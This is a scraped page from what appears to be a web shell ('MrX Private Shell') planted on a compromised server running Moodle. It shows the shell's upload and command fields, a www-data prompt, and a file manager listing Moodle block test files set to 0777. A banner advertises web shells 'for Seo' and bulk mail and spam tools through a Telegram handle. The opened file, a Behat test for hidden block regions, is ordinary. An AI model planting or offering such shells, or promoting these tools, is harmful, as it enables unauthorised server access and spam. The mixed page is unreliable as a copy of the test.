__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_block
Feature: Show hidden blocks in a docked block region when editing
  In order to edit blocks in a hidden region
  As a teacher
  I need to be able to see the blocks when editing is on

  Background:
    Given the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "course enrolments" exist:
      | user | course | role |
      | admin | C1 | editingteacher |
    And the following "blocks" exist:
      | blockname         | contextlevel | reference | pagetypepattern | defaultregion |
      | search_forums     | Course       | C1        | course-view-*   | side-pre      |
      | news_items        | Course       | C1        | course-view-*   | side-pre      |
      | calendar_upcoming | Course       | C1        | course-view-*   | side-pre      |
      | recent_activity   | Course       | C1        | course-view-*   | side-pre      |
    And I log in as "admin"
    And I am on "Course 1" course homepage with editing mode on
    # Hide all the blocks in the non-default region
    And I configure the "Search forums" block
    And I set the following fields to these values:
      | Visible | No |
    And I click on "Save changes" "button"
    And I configure the "Latest announcements" block
    And I set the following fields to these values:
      | Visible | No |
    And I click on "Save changes" "button"
    And I configure the "Upcoming events" block
    And I set the following fields to these values:
      | Visible | No |
    And I click on "Save changes" "button"
    And I configure the "Recent activity" block
    And I set the following fields to these values:
      | Visible | No |
    When I click on "Save changes" "button"
    # Editing is on so they should be visible
    Then I should see "Search forums"
    And I should see "Latest announcements"
    And I should see "Upcoming events"
    And I should see "Recent activity"
    And I turn editing mode off
    # Editing is off, so they should no longer be visible
    And I should not see "Search forums"
    And I should not see "Latest announcements"
    And I should not see "Upcoming events"
    And I should not see "Recent activity"

  @javascript
  Scenario: Check that a region with only hidden blocks is not docked in editing mode (javascript enabled)

  Scenario: Check that a region with only hidden blocks is not docked in editing mode (javascript disabled)

Filemanager

Name Type Size Permission Actions
add_blocks.feature File 931 B 0777
add_blocks_overridden.feature File 3.76 KB 0777
add_blocks_overridden_disabled.feature File 5.48 KB 0777
behat_blocks.php File 8.24 KB 0777
configure_block_throughout_site.feature File 3.03 KB 0777
delete_block.feature File 1.42 KB 0777
hidden_block_region.feature File 2.39 KB 0777
hide_blocks.feature File 1.27 KB 0777
manage_blocks.feature File 2.4 KB 0777
move_blocks.feature File 1.69 KB 0777
restrict_available_blocks.feature File 1.64 KB 0777
return_block_original_state.feature File 1.98 KB 0777
Filemanager